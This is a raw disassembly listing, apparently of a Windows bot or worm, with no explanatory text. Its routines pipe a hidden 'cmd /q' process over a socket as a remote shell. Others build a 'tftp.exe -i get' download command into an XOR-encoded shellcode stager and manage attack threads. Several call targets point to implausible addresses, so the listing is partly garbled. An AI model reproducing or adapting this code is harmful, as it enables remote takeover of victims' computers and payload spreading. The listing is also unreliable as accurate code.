sub_40BFE1 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41666B ; --------------------------------------------------------------------------- loc_416631: ; CODE XREF: sub_4165C6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_41699B lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_416672 nop call near ptr 2630313h push eax push offset dword_439244 call sub_40BFE1 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call near ptr 27B0A22h nop loc_41666B: ; CODE XREF: sub_4165C6+69j xor eax, eax jmp loc_416712 ; --------------------------------------------------------------------------- loc_416672: ; CODE XREF: sub_4165C6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 27C0848h sub eax, ebx jz short loc_4166CC dec eax jz short loc_4166C6 dec eax jz short loc_4166B2 call near ptr 2630313h nop push eax push offset dword_439200 call sub_40BFE1 pop ecx pop ecx jmp short loc_4166E1 ; --------------------------------------------------------------------------- loc_4166B2: ; CODE XREF: sub_4165C6+D5j mov edi, dword_424168 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4166E1 ; --------------------------------------------------------------------------- loc_4166C6: ; CODE XREF: sub_4165C6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4166D0 ; --------------------------------------------------------------------------- loc_4166CC: ; CODE XREF: sub_4165C6+CFj push ebx push dword ptr [esi+14h] loc_4166D0: ; CODE XREF: sub_4165C6+104j call near ptr 27B0A22h nop push 1 push dword ptr [esi+8] call near ptr 27B0BD0h nop loc_4166E1: ; CODE XREF: sub_4165C6+EAj ; sub_4165C6+FEj push dword ptr [esi+10h] mov edi, dword_424078 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_43F700 push esi call sub_417C3B pop ecx push 1 pop eax loc_416712: ; CODE XREF: sub_4165C6+A7j pop edi pop esi pop ebx leave retn sub_4165C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416717 proc near ; CODE XREF: sub_4165C6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_417B89 mov esi, eax pop ecx cmp esi, edi jz loc_416801 mov ebx, dword_424140 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_424078 test eax, eax jnz short loc_41677A call near ptr 2630313h nop push eax push offset dword_439324 jmp short loc_41679A ; --------------------------------------------------------------------------- loc_41677A: ; CODE XREF: sub_416717+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_4167A2 nop call near ptr 2630313h push eax push offset dword_4392D4 loc_41679A: ; CODE XREF: sub_416717+61j call sub_40BFE1 pop ecx jmp short loc_4167D0 ; --------------------------------------------------------------------------- loc_4167A2: ; CODE XREF: sub_416717+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_416810 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_416805 push offset dword_43929C call sub_40BF6D loc_4167D0: ; CODE XREF: sub_416717+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4167DC push [ebp+var_4] call edi loc_4167DC: ; CODE XREF: sub_416717+BEj cmp [ebp+var_8], 0 jz short loc_4167E7 push [ebp+var_8] call edi loc_4167E7: ; CODE XREF: sub_416717+C9j mov eax, [esi] test eax, eax jz short loc_4167F0 push eax call edi loc_4167F0: ; CODE XREF: sub_416717+D4j mov eax, [esi+4] test eax, eax jz short loc_4167FA push eax call edi loc_4167FA: ; CODE XREF: sub_416717+DEj push esi call sub_417C3B pop ecx loc_416801: ; CODE XREF: sub_416717+1Dj xor eax, eax jmp short loc_41680B ; --------------------------------------------------------------------------- loc_416805: ; CODE XREF: sub_416717+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41680B: ; CODE XREF: sub_416717+ECj pop edi pop esi pop ebx leave retn sub_416717 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416810 proc near ; CODE XREF: sub_416717+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_417330 push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_42413C push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 27607E9h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 274056Fh test eax, eax jz short loc_4168CC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_4450C8[eax], ecx call near ptr 2611A31h nop jmp short loc_4168E2 ; --------------------------------------------------------------------------- loc_4168CC: ; CODE XREF: sub_416810+9Aj call near ptr 2630313h nop push eax push offset dword_439374 call sub_40BFE1 mov esi, [ebp+var_4] pop ecx pop ecx loc_4168E2: ; CODE XREF: sub_416810+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_416810 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168E9 proc near ; DATA XREF: sub_4165C6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_424074 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_416912: ; CODE XREF: sub_4168E9+8Fj call ebx test eax, eax jz short loc_41697A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41694D loc_416923: ; CODE XREF: sub_4168E9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41693D cmp dl, 0Dh jz short loc_41693D mov [ebp+eax+var_1B0], 0Dh inc eax loc_41693D: ; CODE XREF: sub_4168E9+44j ; sub_4168E9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_416923 loc_41694D: ; CODE XREF: sub_4168E9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_43F6B8 test eax, eax jle short loc_41697A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_416912 ; --------------------------------------------------------------------------- loc_41697A: ; CODE XREF: sub_4168E9+2Dj ; sub_4168E9+79j mov esi, dword_42408C call esi cmp eax, 6Dh jz short loc_416996 call esi push eax push offset dword_4393C0 call sub_40BFE1 pop ecx pop ecx loc_416996: ; CODE XREF: sub_4168E9+9Cj pop edi pop esi pop ebx leave retn sub_4168E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41699B proc near ; DATA XREF: sub_4165C6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4169B4: ; CODE XREF: sub_41699B+39j ; sub_41699B+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_43F680 test eax, eax jle loc_416AB9 cmp [ebp+var_10], ebx jbe short loc_4169D6 dec [ebp+var_10] jmp short loc_4169B4 ; --------------------------------------------------------------------------- loc_4169D6: ; CODE XREF: sub_41699B+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_416A99 cmp al, 8 mov [ebp+var_C], ebx jz short loc_416A46 cmp al, 7Fh jz short loc_416A46 cmp al, 3 jnz short loc_416A01 push ebx push ebx nop call near ptr 27C098Dh jmp short loc_416A6D ; --------------------------------------------------------------------------- loc_416A01: ; CODE XREF: sub_41699B+5Aj cmp al, 15h jnz short loc_416A23 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_416A23: ; CODE XREF: sub_41699B+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_416A5A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_416A59 ; --------------------------------------------------------------------------- loc_416A46: ; CODE XREF: sub_41699B+52j ; sub_41699B+56j cmp esi, ebx jbe short loc_416A70 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_416A59: ; CODE XREF: sub_41699B+86j ; sub_41699B+A9j pop ecx loc_416A5A: ; CODE XREF: sub_41699B+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_43F6B8 test eax, eax jle short loc_416AB9 loc_416A6D: ; CODE XREF: sub_41699B+64j mov al, byte ptr [ebp+arg_0+3] loc_416A70: ; CODE XREF: sub_41699B+ADj cmp al, 0Dh jnz loc_4169B4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 2620000h test eax, eax jz short loc_416AB9 xor esi, esi jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416A99: ; CODE XREF: sub_41699B+47j cmp [ebp+var_C], ebx jnz short loc_416AAA mov [ebp+var_C], 1 jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416AAA: ; CODE XREF: sub_41699B+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4169B4 ; --------------------------------------------------------------------------- loc_416AB9: ; CODE XREF: sub_41699B+2Bj ; sub_41699B+D0j ... pop edi pop esi pop ebx leave retn sub_41699B endp ; =============== S U B R O U T I N E ======================================= sub_416ABE proc near ; CODE XREF: sub_416ADE+Ap ; sub_416BB6+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_417AB0 push [esp+8+arg_4] mov esi, eax call sub_417AB0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_416ABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416ADE proc near ; CODE XREF: sub_416BCD+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_416ABE cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_416AFB xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_416AFB: ; CODE XREF: sub_416ADE+17j push ebx push esi push edi push [ebp+arg_8] call sub_417AB0 push [ebp+arg_C] mov esi, eax call sub_417AB0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_4394A0, eax lea eax, [edi+1] mov dword_4394C1, eax lea eax, [edi+17h] mov dword_4394B9, eax pop eax push 74h sub eax, edi push offset dword_43943C push ebx mov dword_4394CF, eax call sub_417390 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_417390 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_417390 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_417390 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_417390 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_417390 add esi, edi push 38h add esi, ebx push offset byte_4394C5 push esi call sub_417390 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_416ADE endp ; =============== S U B R O U T I N E ======================================= sub_416BB6 proc near ; CODE XREF: sub_416BCD+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_416ABE push eax call sub_416C3A add esp, 0Ch retn sub_416BB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BCD proc near ; CODE XREF: sub_402B84+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_416BB6 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_416BED cmp eax, 0FFFFh jbe short loc_416BF1 loc_416BED: ; CODE XREF: sub_416BCD+17j xor eax, eax jmp short loc_416C36 ; --------------------------------------------------------------------------- loc_416BF1: ; CODE XREF: sub_416BCD+1Ej push esi push edi push ebx call sub_416ABE add eax, 101h push eax call sub_417B89 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_416ABE pop ecx pop ecx push eax push esi call sub_416ADE push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_416C55 push esi mov edi, eax call sub_417C3B add esp, 24h mov eax, edi pop esi loc_416C36: ; CODE XREF: sub_416BCD+22j pop edi pop ebx pop ebp retn sub_416BCD endp ; =============== S U B R O U T I N E ======================================= sub_416C3A proc near ; CODE XREF: sub_416BB6+Ep ; sub_416C55+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_416C43 inc ecx loc_416C43: ; CODE XREF: sub_416C3A+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_416C3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416C55 proc near ; CODE XREF: sub_416BCD+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_416C71 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_416C71 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_416C71 cmp byte ptr [ebp+arg_C], 0 jnz short loc_416C74 loc_416C71: ; CODE XREF: sub_416C55+8j ; sub_416C55+Ej ... inc [ebp+arg_C] loc_416C74: ; CODE XREF: sub_416C55+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_416C9C mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_416C95 cmp al, 0Dh jz short loc_416C95 cmp al, 5Ch jz short loc_416C95 test al, al jnz short loc_416C9C loc_416C95: ; CODE XREF: sub_416C55+32j ; sub_416C55+36j ... add [ebp+arg_C], 100h loc_416C9C: ; CODE XREF: sub_416C55+28j ; sub_416C55+3Ej push [ebp+arg_C] call sub_416C3A cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_416CB4 cmp eax, 0FFFFh jbe short loc_416CBB loc_416CB4: ; CODE XREF: sub_416C55+56j xor eax, eax jmp loc_416D59 ; --------------------------------------------------------------------------- loc_416CBB: ; CODE XREF: sub_416C55+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_489FE8 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_416CEB loc_416CCF: ; CODE XREF: sub_416C55+94j mov al, [edx+edi] xor al, bl jz short loc_416CE2 cmp al, 0Ah jz short loc_416CE2 cmp al, 0Dh jz short loc_416CE2 cmp al, 5Ch jnz short loc_416CE6 loc_416CE2: ; CODE XREF: sub_416C55+7Fj ; sub_416C55+83j ... inc bl xor edx, edx loc_416CE6: ; CODE XREF: sub_416C55+8Bj inc edx cmp edx, ecx jb short loc_416CCF loc_416CEB: ; CODE XREF: sub_416C55+78j cmp ecx, esi mov byte_489FE8, bl ja short loc_416D17 push 15h push offset loc_439424 push [ebp+arg_0] mov byte_439431, cl mov byte_439435, bl call sub_417390 add esp, 0Ch push 15h jmp short loc_416D38 ; --------------------------------------------------------------------------- loc_416D17: ; CODE XREF: sub_416C55+9Ej push 17h push offset loc_43940C push [ebp+arg_0] mov word_43941A, cx mov byte_43941F, bl call sub_417390 add esp, 0Ch push 17h loc_416D38: ; CODE XREF: sub_416C55+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_416D54 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_416D46: ; CODE XREF: sub_416C55+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_416D46 loc_416D54: ; CODE XREF: sub_416C55+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_416D59: ; CODE XREF: sub_416C55+61j pop esi leave retn sub_416C55 endp ; =============== S U B R O U T I N E ======================================= sub_416D5C proc near ; CODE XREF: sub_4060D0+227p ; sub_407252+F0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_444EC0 loc_416D64: ; CODE XREF: sub_416D5C+18j cmp byte ptr [eax], 0 jz short loc_416D78 add eax, 234h inc edi cmp eax, offset dword_489C50 jl short loc_416D64 jmp short loc_416DC3 ; --------------------------------------------------------------------------- loc_416D78: ; CODE XREF: sub_416D5C+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_444EC0[esi] push eax call sub_418C10 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_4450C0[esi], eax and dword_4450C4[esi], 0 mov eax, [esp+8+arg_8] and dword_4450C8[esi], 0 mov dword_4450CC[esi], eax and byte_4450D8[esi], 0 pop esi loc_416DC3: ; CODE XREF: sub_416D5C+1Aj mov eax, edi pop edi retn sub_416D5C endp ; --------------------------------------------------------------------------- byte_416DC7 db 55h ; DATA XREF: sub_40EE72+5C01o dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh dd 26Ch, 6A14C483h, 94D4E800h, 5F90021Ch, 0EC8B555Eh, 200EC81h dd 57560000h, 75FF006Ah, 95006810h, 75FF0043h, 875FF0Ch dd 0FF6840E8h, 14C483FFh, 0C0BEFF33h, 8000444Eh, 3C74003Eh dd 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h, 68FFFFFEh dd 437E80h, 446E850h, 16A0000h, 0FE00858Dh, 75FFFFFFh dd 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh, 234C681h dd 81470000h, 489C50FEh, 5FB07C00h ; --------------------------------------------------------------------------- pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_416E97 proc near ; CODE XREF: sub_40EE72+4DD9p ; sub_416F25+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_416F1F cmp esi, 1F4h jge short loc_416F1F imul esi, 234h push edi push ebx push dword_4450D4[esi] lea edi, dword_4450D4[esi] call near ptr 27B0A22h nop cmp [edi], ebx jz short loc_416ECF push 1 pop ebp loc_416ECF: ; CODE XREF: sub_416E97+33j mov [edi], ebx lea edi, dword_4450C8[esi] mov dword_4450C0[esi], ebx mov dword_4450C4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_416EF0 push eax call sub_415419 pop ecx loc_416EF0: ; CODE XREF: sub_416E97+50j mov [edi], ebx lea edi, dword_4450CC[esi] mov byte ptr dword_444EC0[esi], bl mov byte_4450D8[esi], bl push dword ptr [edi] call dword_43F700 lea esi, dword_4450D0[esi] mov [edi], ebx push dword ptr [esi] call dword_43F700 mov [esi], ebx pop edi loc_416F1F: ; CODE XREF: sub_416E97+Dj ; sub_416E97+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_416E97 endp ; =============== S U B R O U T I N E ======================================= sub_416F25 proc near ; CODE XREF: sub_40AC42:loc_40AC66p ; sub_40D3A5+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_444EC0 loc_416F31: ; CODE XREF: sub_416F25+2Aj cmp byte ptr [esi], 0 jz short loc_416F42 push edi call sub_416E97 test eax, eax pop ecx jz short loc_416F42 inc ebx loc_416F42: ; CODE XREF: sub_416F25+Fj ; sub_416F25+1Aj add esi, 234h inc edi cmp esi, offset dword_489C50 jl short loc_416F31 pop edi mov eax, ebx pop esi pop ebx retn sub_416F25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F57 proc near ; CODE XREF: sub_40EE72+1E3Dp ; sub_40EE72+1EABp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4450C4 loc_416F6B: ; CODE XREF: sub_416F57+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_416F8D test edi, edi jle short loc_416F7F cmp [esi], edi jz short loc_416F7F cmp ebx, edi jnz short loc_416F8D loc_416F7F: ; CODE XREF: sub_416F57+1Ej ; sub_416F57+22j push ebx call sub_416E97 test eax, eax pop ecx jz short loc_416F8D inc [ebp+var_4] loc_416F8D: ; CODE XREF: sub_416F57+1Aj ; sub_416F57+26j ... add esi, 234h inc ebx cmp esi, offset dword_489E54 jl short loc_416F6B mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_416F57 endp ; =============== S U B R O U T I N E ======================================= sub_416FA4 proc near ; CODE XREF: sub_4071DB+Bp ; sub_407252+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4450C0 loc_416FAB: ; CODE XREF: sub_416FA4+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_416FB4 inc eax loc_416FB4: ; CODE XREF: sub_416FA4+Dj add ecx, 234h cmp ecx, offset dword_489E50 jl short loc_416FAB retn sub_416FA4 endp ; =============== S U B R O U T I N E ======================================= sub_416FC3 proc near ; CODE XREF: sub_40EE72+5698p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_4450C0 loc_416FCD: ; CODE XREF: sub_416FC3+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_416FE6 add ecx, 234h inc edx cmp ecx, offset dword_489E50 jl short loc_416FCD pop esi retn ; --------------------------------------------------------------------------- loc_416FE6: ; CODE XREF: sub_416FC3+10j mov eax, edx pop esi retn sub_416FC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FEA proc near ; CODE XREF: sub_40EE72+1070p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_417003 push [ebp+arg_1C] call sub_41781F pop ecx loc_417003: ; CODE XREF: sub_416FEA+Ej push eax push [ebp+arg_18] call sub_416F57 pop ecx test eax, eax pop ecx jle short loc_41702F push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_4172B0 add esp, 14h jmp short loc_417049 ; --------------------------------------------------------------------------- loc_41702F: ; CODE XREF: sub_416FEA+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_4172B0 add esp, 10h loc_417049: ; CODE XREF: sub_416FEA+43j cmp [ebp+arg_C], 0 jnz short loc_417069 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_417069: ; CODE XREF: sub_416FEA+63j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx leave retn sub_416FEA endp ; =============== S U B R O U T I N E ======================================= sub_417078 proc near ; CODE XREF: sub_401000+A5p ; sub_40144A+8Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_4450D4[eax], ecx mov dword_4450C0[eax], ecx mov dword_4450C4[eax], ecx mov dword_4450C8[eax], ecx mov dword_4450CC[eax], ecx mov dword_4450D0[eax], ecx mov byte ptr dword_444EC0[eax], cl mov byte_4450D8[eax], cl retn sub_417078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4170B5 proc near ; CODE XREF: sub_40EE72+6189p ; sub_4171E3+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_4170BF: ; CODE XREF: sub_4170B5+68j mov cl, [esi] test cl, cl jz short loc_41711F cmp eax, 1 jnz short loc_41711F mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_41711F cmp cl, 2Ah jz short loc_417106 cmp cl, 3Fh jz short loc_4170E9 cmp cl, 5Bh jz short loc_4170EE xor eax, eax cmp cl, dl setz al loc_4170E9: ; CODE XREF: sub_4170B5+26j inc [ebp+arg_4] jmp short loc_417119 ; --------------------------------------------------------------------------- loc_4170EE: ; CODE XREF: sub_4170B5+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_41714B mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_417119 ; --------------------------------------------------------------------------- loc_417106: ; CODE XREF: sub_4170B5+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4171E3 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_417119: ; CODE XREF: sub_4170B5+37j ; sub_4170B5+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_4170BF ; --------------------------------------------------------------------------- loc_41711F: ; CODE XREF: sub_4170B5+Ej ; sub_4170B5+13j ... cmp byte ptr [esi], 2Ah jnz short loc_41712F cmp eax, 1 jnz short loc_417146 inc esi mov [ebp+arg_0], esi jmp short loc_41711F ; --------------------------------------------------------------------------- loc_41712F: ; CODE XREF: sub_4170B5+6Dj cmp eax, 1 jnz short loc_417146 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_417146 cmp byte ptr [esi], 0 jnz short loc_417146 push 1 pop eax jmp short loc_417148 ; --------------------------------------------------------------------------- loc_417146: ; CODE XREF: sub_4170B5+72j ; sub_4170B5+7Dj ... xor eax, eax loc_417148: ; CODE XREF: sub_4170B5+8Fj pop esi pop ebp retn sub_4170B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41714B proc near ; CODE XREF: sub_4170B5+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_41716C inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_41716C: ; CODE XREF: sub_41714B+19j push ebx push esi loc_41716E: ; CODE XREF: sub_41714B+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_41717C cmp [ebp+var_4], eax jnz short 